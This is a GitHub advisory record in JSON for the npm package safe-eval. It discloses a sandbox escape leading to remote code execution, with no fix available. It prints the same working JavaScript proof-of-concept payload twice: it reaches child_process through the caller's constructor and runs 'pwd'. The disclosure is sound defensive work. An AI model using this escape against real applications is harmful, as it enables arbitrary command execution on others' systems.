{"id":"GHSA-9pcf-h8q9-63f6","aliases":["GHSA-9pcf-h8q9-63f6"],"related":[],"kind":"vulnerability","state":"published","title":"Sandbox Breakout / Arbitrary Code Execution in safe-eval","summary":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() => { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. A payload chaining a function's callee and caller constructors can escape the sandbox and execute arbitrary code.  \n\nFor example, the payload \n```\n((() => { \nconst targetKey = Object.keys(this)[0]; \nObject.defineProperty(this, targetKey, { \nget: function() { \nreturn arguments.callee.caller.constructor( \n\"return global.process.mainModule.require('child_process').execSync('pwd').toString()\" \n)(); \n} \n}); \n})();```\nmay be used to print the `pwd` to the console.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.","format":"markdown","source":"ghsa"}],"published":"2020-09-03T17:12:41.000Z","modified":"2020-08-31T18:44:49.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"HIGH"}],"cwes":[],"affected":[{"ranges":[{"type":"semver","introduced":"0.0.0","status":"affected"}],"ecosystem":"npm","package":"safe-eval","purl":"pkg:npm/safe-eval","source":"ghsa"}],"references":[{"url":"https://www.npmjs.com/advisories/1033","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9pcf-h8q9-63f6","url":"https://github.com/advisories/GHSA-9pcf-h8q9-63f6","licence":"CC-BY-4.0","modified":"2020-08-31T18:44:49.000Z"}],"updatedAt":"2026-11-25T22:56:44.948Z"}